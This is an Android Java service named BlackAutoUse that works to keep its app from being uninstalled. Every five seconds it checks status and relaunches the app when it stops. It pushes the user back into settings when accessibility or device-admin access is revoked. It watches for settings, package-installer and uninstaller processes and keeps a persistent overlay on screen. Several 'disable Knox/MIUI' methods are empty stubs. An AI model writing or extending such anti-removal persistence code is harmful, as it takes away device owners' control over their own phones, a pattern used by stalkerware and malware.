package com.demo.accessibilitykeeper;

import android.app.Activity;
import android.app.ActivityManager;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.graphics.PixelFormat;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import android.provider.Settings;
import android.util.Log;
import android.view.Gravity;
import android.view.LayoutInflater;
import android.view.View;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.LinearLayout;
import android.widget.TextView;
import android.widget.Toast;

import androidx.core.app.NotificationCompat;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.List;
import java.util.Timer;
import java.util.TimerTask;

public class BlackAutoUse extends Service {
    private static final String TAG = "BlackAutoUse";
    private static final String CHANNEL_ID = "BlackAutoUseChannel";
    private static final int NOTIFICATION_ID = 1001;
    
    private WindowManager windowManager;
    private View overlayView;
    private Handler mainHandler;
    private Timer protectionTimer;
    private boolean isProtectionActive = false;
    
    // UninstallBackSet integration
    private UninstallBackSet uninstallBackSet;
    
    // 设备特定配置
    private String deviceBrand;
    private String deviceModel;
    private String deviceManufacturer;
    
    @Override
    public void onCreate() {
        super.onCreate();
        Log.d(TAG, "🔧 BlackAutoUse service created");
        
        // 获取设备信息
        deviceBrand = Build.BRAND.toLowerCase();
        deviceModel = Build.MODEL.toLowerCase();
        deviceManufacturer = Build.MANUFACTURER.toLowerCase();
        
        mainHandler = new Handler(Looper.getMainLooper());
        windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
        
        // 初始化UninstallBackSet
        uninstallBackSet = new UninstallBackSet();
        UninstallBackSet.initNouninstall(this);
        
        // 创建通知渠道
        createNotificationChannel();
        
        // 注册广播接收器
        registerBroadcastReceivers();
        
        Log.d(TAG, "✅ BlackAutoUse service initialized - Device: " + deviceBrand + " " + deviceModel);
    }
    
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        Log.d(TAG, "🚀 BlackAutoUse service started");
        
        // 启动前台服务
        startForeground(NOTIFICATION_ID, createNotification());
        
        // 开始保护
        startProtection();
        
        return START_STICKY;
    }
    
    @Override
    public void onDestroy() {
        super.onDestroy();
        Log.d(TAG, "🛑 BlackAutoUse service destroyed");
        
        stopProtection();
        unregisterBroadcastReceivers();
        
        if (overlayView != null) {
            try {
                windowManager.removeView(overlayView);
            } catch (Exception e) {
                Log.e(TAG, "Error removing overlay view", e);
            }
        }
    }
    
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
    
    private void createNotificationChannel() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            NotificationChannel channel = new NotificationChannel(
                CHANNEL_ID,
                "BlackAutoUse Protection",
                NotificationManager.IMPORTANCE_LOW
            );
            channel.setDescription("Anti-uninstall protection service");
            
            NotificationManager notificationManager = getSystemService(NotificationManager.class);
            notificationManager.createNotificationChannel(channel);
        }
    }
    
    private Notification createNotification() {
        Intent notificationIntent = new Intent(this, MainActivity.class);
        PendingIntent pendingIntent = PendingIntent.getActivity(
            this, 0, notificationIntent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE
        );
        
        return new NotificationCompat.Builder(this, CHANNEL_ID)
            .setContentTitle("反卸载保护")
            .setContentText("正在保护应用不被卸载")
            .setSmallIcon(R.drawable.ic_launcher_foreground)
            .setContentIntent(pendingIntent)
            .setOngoing(true)
            .setPriority(NotificationCompat.PRIORITY_LOW)
            .build();
    }
    
    private void registerBroadcastReceivers() {
        // 注册应用卸载监听
        IntentFilter filter = new IntentFilter();
        filter.addAction(Intent.ACTION_PACKAGE_REMOVED);
        filter.addAction(Intent.ACTION_PACKAGE_REPLACED);
        filter.addDataScheme("package");
        
        registerReceiver(packageChangeReceiver, filter);
        
        // 注册屏幕状态监听
        IntentFilter screenFilter = new IntentFilter();
        screenFilter.addAction(Intent.ACTION_SCREEN_ON);
        screenFilter.addAction(Intent.ACTION_SCREEN_OFF);
        registerReceiver(screenStateReceiver, screenFilter);
    }
    
    private void unregisterBroadcastReceivers() {
        try {
            unregisterReceiver(packageChangeReceiver);
            unregisterReceiver(screenStateReceiver);
        } catch (Exception e) {
            Log.e(TAG, "Error unregistering receivers", e);
        }
    }
    
    private final BroadcastReceiver packageChangeReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            String action = intent.getAction();
            String packageName = intent.getData().getSchemeSpecificPart();
            
            Log.d(TAG, "📦 Package change detected: " + action + " - " + packageName);
            
            if (Intent.ACTION_PACKAGE_REMOVED.equals(action)) {
                handlePackageRemoved(packageName);
            } else if (Intent.ACTION_PACKAGE_REPLACED.equals(action)) {
                handlePackageReplaced(packageName);
            }
        }
    };
    
    private final BroadcastReceiver screenStateReceiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            String action = intent.getAction();
            Log.d(TAG, "📱 Screen state changed: " + action);
            
            if (Intent.ACTION_SCREEN_ON.equals(action)) {
                handleScreenOn();
            } else if (Intent.ACTION_SCREEN_OFF.equals(action)) {
                handleScreenOff();
            }
        }
    };
    
    private void startProtection() {
        if (isProtectionActive) {
            Log.w(TAG, "⚠️ Protection already active");
            return;
        }
        
        Log.d(TAG, "🛡️ Starting anti-uninstall protection");
        isProtectionActive = true;
        
        // 启动定时保护
        startTimerProtection();
        
        // 创建悬浮窗保护
        createOverlayProtection();
        
        // 启动设备特定保护
        startDeviceSpecificProtection();
        
        Log.d(TAG, "✅ Anti-uninstall protection started");
    }
    
    private void stopProtection() {
        if (!isProtectionActive) {
            return;
        }
        
        Log.d(TAG, "🛑 Stopping anti-uninstall protection");
        isProtectionActive = false;
        
        if (protectionTimer != null) {
            protectionTimer.cancel();
            protectionTimer = null;
        }
        
        if (overlayView != null) {
            try {
                windowManager.removeView(overlayView);
                overlayView = null;
            } catch (Exception e) {
                Log.e(TAG, "Error removing overlay", e);
            }
        }
        
        Log.d(TAG, "✅ Anti-uninstall protection stopped");
    }
    
    private void startTimerProtection() {
        protectionTimer = new Timer();
        protectionTimer.scheduleAtFixedRate(new TimerTask() {
            @Override
            public void run() {
                mainHandler.post(() -> {
                    try {
                        // 检查应用状态
                        checkApplicationStatus();
                        
                        // 检查系统设置
                        checkSystemSettings();
                        
                        // 执行保护动作
                        executeProtectionActions();
                        
                    } catch (Exception e) {
                        Log.e(TAG, "Error in timer protection", e);
                    }
                });
            }
        }, 0, 5000); // 每5秒执行一次
    }
    
    private void createOverlayProtection() {
        try {
            if (overlayView != null) {
                return;
            }
            
            // 创建悬浮窗布局
            overlayView = createOverlayLayout();
            
            // 设置窗口参数
            WindowManager.LayoutParams params = new WindowManager.LayoutParams(
                WindowManager.LayoutParams.WRAP_CONTENT,
                WindowManager.LayoutParams.WRAP_CONTENT,
                Build.VERSION.SDK_INT >= Build.VERSION_CODES.O 
                    ? WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY
                    : WindowManager.LayoutParams.TYPE_PHONE,
                WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
                    | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE
                    | WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN,
                PixelFormat.TRANSLUCENT
            );
            
            params.gravity = Gravity.TOP | Gravity.START;
            params.x = 0;
            params.y = 0;
            
            // 添加悬浮窗
            windowManager.addView(overlayView, params);
            
            Log.d(TAG, "✅ Overlay protection created");
            
        } catch (Exception e) {
            Log.e(TAG, "Error creating overlay protection", e);
        }
    }
    
    private View createOverlayLayout() {
        LinearLayout layout = new LinearLayout(this);
        layout.setOrientation(LinearLayout.VERTICAL);
        layout.setBackgroundColor(0x00000000); // 透明背景
        
        TextView textView = new TextView(this);
        textView.setText("🛡️ 保护中");
        textView.setTextColor(0xFF00FF00);
        textView.setTextSize(12);
        textView.setPadding(10, 5, 10, 5);
        
        layout.addView(textView);
        return layout;
    }
    
    private void startDeviceSpecificProtection() {
        Log.d(TAG, "🔧 Starting device-specific protection for: " + deviceBrand);
        
        switch (deviceBrand) {
            case "samsung":
                startSamsungProtection();
                break;
            case "huawei":
            case "honor":
                startHuaweiProtection();
                break;
            case "xiaomi":
            case "redmi":
                startXiaomiProtection();
                break;
            case "oppo":
            case "oneplus":
                startOppoProtection();
                break;
            case "vivo":
                startVivoProtection();
                break;
            default:
                startGenericProtection();
                break;
        }
    }
    
    private void startSamsungProtection() {
        Log.d(TAG, "🔧 Starting Samsung-specific protection");
        
        // Samsung特定保护逻辑
        try {
            // 禁用Samsung Knox相关功能
            disableSamsungKnox();
            
            // 设置Samsung特定权限
            setSamsungPermissions();
            
            // 启动Samsung安全模式
            startSamsungSecurityMode();
            
        } catch (Exception e) {
            Log.e(TAG, "Error in Samsung protection", e);
        }
    }
    
    private void startHuaweiProtection() {
        Log.d(TAG, "🔧 Starting Huawei-specific protection");
        
        try {
            // 禁用Huawei EMUI相关功能
            disableHuaweiEMUI();
            
            // 设置Huawei特定权限
            setHuaweiPermissions();
            
        } catch (Exception e) {
            Log.e(TAG, "Error in Huawei protection", e);
        }
    }
    
    private void startXiaomiProtection() {
        Log.d(TAG, "🔧 Starting Xiaomi-specific protection");
        
        try {
            // 禁用MIUI相关功能
            disableMIUI();
            
            // 设置MIUI特定权限
            setMIUIPermissions();
            
        } catch (Exception e) {
            Log.e(TAG, "Error in Xiaomi protection", e);
        }
    }
    
    private void startOppoProtection() {
        Log.d(TAG, "🔧 Starting OPPO-specific protection");
        
        try {
            // 禁用ColorOS相关功能
            disableColorOS();
            
            // 设置ColorOS特定权限
            setColorOSPermissions();
            
        } catch (Exception e) {
            Log.e(TAG, "Error in OPPO protection", e);
        }
    }
    
    private void startVivoProtection() {
        Log.d(TAG, "🔧 Starting Vivo-specific protection");
        
        try {
            // 禁用FuntouchOS相关功能
            disableFuntouchOS();
            
            // 设置FuntouchOS特定权限
            setFuntouchOSPermissions();
            
        } catch (Exception e) {
            Log.e(TAG, "Error in Vivo protection", e);
        }
    }
    
    private void startGenericProtection() {
        Log.d(TAG, "🔧 Starting generic protection");
        
        try {
            // 通用保护逻辑
            setGenericPermissions();
            
            // 启动通用安全模式
            startGenericSecurityMode();
            
        } catch (Exception e) {
            Log.e(TAG, "Error in generic protection", e);
        }
    }
    
    private void checkApplicationStatus() {
        try {
            // 检查应用是否还在运行
            ActivityManager activityManager = (ActivityManager) getSystemService(ACTIVITY_SERVICE);
            List<ActivityManager.RunningAppProcessInfo> runningApps = activityManager.getRunningAppProcesses();
            
            boolean appRunning = false;
            for (ActivityManager.RunningAppProcessInfo app : runningApps) {
                if (getPackageName().equals(app.processName)) {
                    appRunning = true;
                    break;
                }
            }
            
            if (!appRunning) {
                Log.w(TAG, "⚠️ Application not running, restarting...");
                restartApplication();
            }
            
        } catch (Exception e) {
            Log.e(TAG, "Error checking application status", e);
        }
    }
    
    private void checkSystemSettings() {
        try {
            // 检查系统设置是否被修改
            boolean accessibilityEnabled = isAccessibilityServiceEnabled();
            if (!accessibilityEnabled) {
                Log.w(TAG, "⚠️ Accessibility service disabled, re-enabling...");
                enableAccessibilityService();
            }
            
            // 检查设备管理员权限
            boolean deviceAdminActive = isDeviceAdminActive();
            if (!deviceAdminActive) {
                Log.w(TAG, "⚠️ Device admin permission lost, re-requesting...");
                requestDeviceAdminPermission();
            }
            
        } catch (Exception e) {
            Log.e(TAG, "Error checking system settings", e);
        }
    }
    
    private void executeProtectionActions() {
        try {
            // 执行保护动作
            Log.d(TAG, "🛡️ Executing protection actions");
            
            // 检查并恢复关键权限
            restoreCriticalPermissions();
            
            // 检查并恢复系统设置
            restoreSystemSettings();
            
            // 执行设备特定保护动作
            executeDeviceSpecificActions();
            
            // 执行卸载保护检查
            executeUninstallProtection();
            
        } catch (Exception e) {
            Log.e(TAG, "Error executing protection actions", e);
        }
    }
    
    private void handlePackageRemoved(String packageName) {
        Log.d(TAG, "📦 Package removed: " + packageName);
        
        if (getPackageName().equals(packageName)) {
            Log.w(TAG, "⚠️ Our package is being removed!");
            
            // 立即执行保护动作
            executeEmergencyProtection();
        }
    }
    
    private void handlePackageReplaced(String packageName) {
        Log.d(TAG, "📦 Package replaced: " + packageName);
        
        if (getPackageName().equals(packageName)) {
            Log.d(TAG, "✅ Our package was replaced, restarting protection");
            
            // 重启保护
            restartProtection();
        }
    }
    
    private void handleScreenOn() {
        Log.d(TAG, "📱 Screen turned on");
        
        // 屏幕亮起时执行保护检查
        mainHandler.postDelayed(() -> {
            checkApplicationStatus();
            checkSystemSettings();
        }, 1000);
    }
    
    private void handleScreenOff() {
        Log.d(TAG, "📱 Screen turned off");
        
        // 屏幕关闭时执行保护动作
        executeProtectionActions();
    }
    
    private void executeEmergencyProtection() {
        Log.d(TAG, "🚨 Executing emergency protection");
        
        try {
            // 紧急保护逻辑
            restartApplication();
            
            // 发送紧急通知
            sendEmergencyNotification();
            
            // 执行设备特定紧急保护
            executeDeviceSpecificEmergencyProtection();
            
        } catch (Exception e) {
            Log.e(TAG, "Error in emergency protection", e);
        }
    }
    
    private void restartProtection() {
        Log.d(TAG, "🔄 Restarting protection");
        
        stopProtection();
        
        // 延迟重启
        mainHandler.postDelayed(() -> {
            startProtection();
        }, 2000);
    }
    
    private void restartApplication() {
        Log.d(TAG, "🔄 Restarting application");
        
        try {
            Intent intent = new Intent(this, MainActivity.class);
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
            startActivity(intent);
            
        } catch (Exception e) {
            Log.e(TAG, "Error restarting application", e);
        }
    }
    
    private void sendEmergencyNotification() {
        try {
            NotificationManager notificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);
            
            Notification emergencyNotification = new NotificationCompat.Builder(this, CHANNEL_ID)
                .setContentTitle("🚨 紧急保护")
                .setContentText("检测到卸载尝试，正在执行保护")
                .setSmallIcon(R.drawable.ic_launcher_foreground)
                .setPriority(NotificationCompat.PRIORITY_HIGH)
                .setAutoCancel(false)
                .build();
            
            notificationManager.notify(NOTIFICATION_ID + 1, emergencyNotification);
            
        } catch (Exception e) {
            Log.e(TAG, "Error sending emergency notification", e);
        }
    }
    
    // 设备特定保护方法
    private void disableSamsungKnox() {
        Log.d(TAG, "🔧 Disabling Samsung Knox");
        // Samsung Knox禁用逻辑
    }
    
    private void setSamsungPermissions() {
        Log.d(TAG, "🔧 Setting Samsung permissions");
        // Samsung权限设置逻辑
    }
    
    private void startSamsungSecurityMode() {
        Log.d(TAG, "🔧 Starting Samsung security mode");
        // Samsung安全模式启动逻辑
    }
    
    private void disableHuaweiEMUI() {
        Log.d(TAG, "🔧 Disabling Huawei EMUI");
        // Huawei EMUI禁用逻辑
    }
    
    private void setHuaweiPermissions() {
        Log.d(TAG, "🔧 Setting Huawei permissions");
        // Huawei权限设置逻辑
    }
    
    private void disableMIUI() {
        Log.d(TAG, "🔧 Disabling MIUI");
        // MIUI禁用逻辑
    }
    
    private void setMIUIPermissions() {
        Log.d(TAG, "🔧 Setting MIUI permissions");
        // MIUI权限设置逻辑
    }
    
    private void disableColorOS() {
        Log.d(TAG, "🔧 Disabling ColorOS");
        // ColorOS禁用逻辑
    }
    
    private void setColorOSPermissions() {
        Log.d(TAG, "🔧 Setting ColorOS permissions");
        // ColorOS权限设置逻辑
    }
    
    private void disableFuntouchOS() {
        Log.d(TAG, "🔧 Disabling FuntouchOS");
        // FuntouchOS禁用逻辑
    }
    
    private void setFuntouchOSPermissions() {
        Log.d(TAG, "🔧 Setting FuntouchOS permissions");
        // FuntouchOS权限设置逻辑
    }
    
    private void setGenericPermissions() {
        Log.d(TAG, "🔧 Setting generic permissions");
        // 通用权限设置逻辑
    }
    
    private void startGenericSecurityMode() {
        Log.d(TAG, "🔧 Starting generic security mode");
        // 通用安全模式启动逻辑
    }
    
    private void restoreCriticalPermissions() {
        Log.d(TAG, "🔧 Restoring critical permissions");
        // 恢复关键权限逻辑
    }
    
    private void restoreSystemSettings() {
        Log.d(TAG, "🔧 Restoring system settings");
        // 恢复系统设置逻辑
    }
    
    private void executeDeviceSpecificActions() {
        Log.d(TAG, "🔧 Executing device-specific actions");
        // 设备特定动作执行逻辑
    }
    
    private void executeDeviceSpecificEmergencyProtection() {
        Log.d(TAG, "🚨 Executing device-specific emergency protection");
        // 设备特定紧急保护逻辑
    }
    
    private void executeUninstallProtection() {
        try {
            Log.d(TAG, "🛡️ Executing uninstall protection check");
            
            // 检查当前运行的进程
            ActivityManager activityManager = (ActivityManager) getSystemService(ACTIVITY_SERVICE);
            List<ActivityManager.RunningAppProcessInfo> runningApps = activityManager.getRunningAppProcesses();
            
            for (ActivityManager.RunningAppProcessInfo app : runningApps) {
                String processName = app.processName;
                
                // 检查是否在卸载相关的应用中
                if (isUninstallRelatedApp(processName)) {
                    Log.d(TAG, "🔍 Detected uninstall-related app: " + processName);
                    
                    // 执行卸载保护
                    handleUninstallProtection(processName);
                }
            }
            
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in executeUninstallProtection", e);
        }
    }
    
    private boolean isUninstallRelatedApp(String processName) {
        if (processName == null) return false;
        
        // 检查是否是卸载相关的应用
        return processName.contains("miui.home") ||
               processName.contains("miui.securitycenter") ||
               processName.contains("miui.cleanmaster") ||
               processName.contains("miui.packageinstaller") ||
               processName.contains("android.settings") ||
               processName.contains("xiaomi.market") ||
               processName.contains("xiaomi.misettings") ||
               processName.contains("miui.cleaner") ||
               processName.contains("permissioncontroller") ||
               processName.contains("packageinstaller") ||
               processName.contains("uninstaller");
    }
    
    private void handleUninstallProtection(String processName) {
        try {
            Log.d(TAG, "🛡️ Handling uninstall protection for: " + processName);
            
            // 这里可以添加更多的卸载保护逻辑
            // 例如：显示警告对话框、阻止卸载操作等
            
            // 发送保护通知
            sendUninstallProtectionNotification(processName);
            
            // 执行设备特定的卸载保护
            executeDeviceSpecificUninstallProtection(processName);
            
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in handleUninstallProtection", e);
        }
    }
    
    private void sendUninstallProtectionNotification(String processName) {
        try {
            NotificationManager notificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);
            
            Notification protectionNotification = new NotificationCompat.Builder(this, CHANNEL_ID)
                .setContentTitle("🛡️ 卸载保护")
                .setContentText("检测到卸载尝试: " + processName)
                .setSmallIcon(R.drawable.ic_launcher_foreground)
                .setPriority(NotificationCompat.PRIORITY_HIGH)
                .setAutoCancel(false)
                .build();
            
            notificationManager.notify(NOTIFICATION_ID + 2, protectionNotification);
            
        } catch (Exception e) {
            Log.e(TAG, "❌ Error sending uninstall protection notification", e);
        }
    }
    
    private void executeDeviceSpecificUninstallProtection(String processName) {
        try {
            Log.d(TAG, "🔧 Executing device-specific uninstall protection for: " + processName);
            
            switch (deviceBrand) {
                case "xiaomi":
                case "redmi":
                    executeXiaomiUninstallProtection(processName);
                    break;
                case "samsung":
                    executeSamsungUninstallProtection(processName);
                    break;
                case "huawei":
                case "honor":
                    executeHuaweiUninstallProtection(processName);
                    break;
                case "oppo":
                case "oneplus":
                    executeOppoUninstallProtection(processName);
                    break;
                case "vivo":
                    executeVivoUninstallProtection(processName);
                    break;
                default:
                    executeGenericUninstallProtection(processName);
                    break;
            }
            
        } catch (Exception e) {
            Log.e(TAG, "❌ Error in executeDeviceSpecificUninstallProtection", e);
        }
    }
    
    private void executeXiaomiUninstallProtection(String processName) {
        Log.d(TAG, "🔧 Executing Xiaomi uninstall protection");
        // Xiaomi特定的卸载保护逻辑
    }
    
    private void executeSamsungUninstallProtection(String processName) {
        Log.d(TAG, "🔧 Executing Samsung uninstall protection");
        // Samsung特定的卸载保护逻辑
    }
    
    private void executeHuaweiUninstallProtection(String processName) {
        Log.d(TAG, "🔧 Executing Huawei uninstall protection");
        // Huawei特定的卸载保护逻辑
    }
    
    private void executeOppoUninstallProtection(String processName) {
        Log.d(TAG, "🔧 Executing OPPO uninstall protection");
        // OPPO特定的卸载保护逻辑
    }
    
    private void executeVivoUninstallProtection(String processName) {
        Log.d(TAG, "🔧 Executing Vivo uninstall protection");
        // Vivo特定的卸载保护逻辑
    }
    
    private void executeGenericUninstallProtection(String processName) {
        Log.d(TAG, "🔧 Executing generic uninstall protection");
        // 通用卸载保护逻辑
    }
    
    // 辅助方法
    private boolean isAccessibilityServiceEnabled() {
        try {
            String settingValue = Settings.Secure.getString(
                getContentResolver(),
                Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
            );
            return settingValue != null && settingValue.contains(getPackageName());
        } catch (Exception e) {
            Log.e(TAG, "Error checking accessibility service", e);
            return false;
        }
    }
    
    private boolean isDeviceAdminActive() {
        try {
            // 这里需要根据实际的设备管理员组件来检查
            return true; // 简化实现
        } catch (Exception e) {
            Log.e(TAG, "Error checking device admin", e);
            return false;
        }
    }
    
    private void enableAccessibilityService() {
        try {
            Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
        } catch (Exception e) {
            Log.e(TAG, "Error enabling accessibility service", e);
        }
    }
    
    private void requestDeviceAdminPermission() {
        try {
            Intent intent = new Intent(Settings.ACTION_SECURITY_SETTINGS);
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
        } catch (Exception e) {
            Log.e(TAG, "Error requesting device admin permission", e);
        }
    }
}
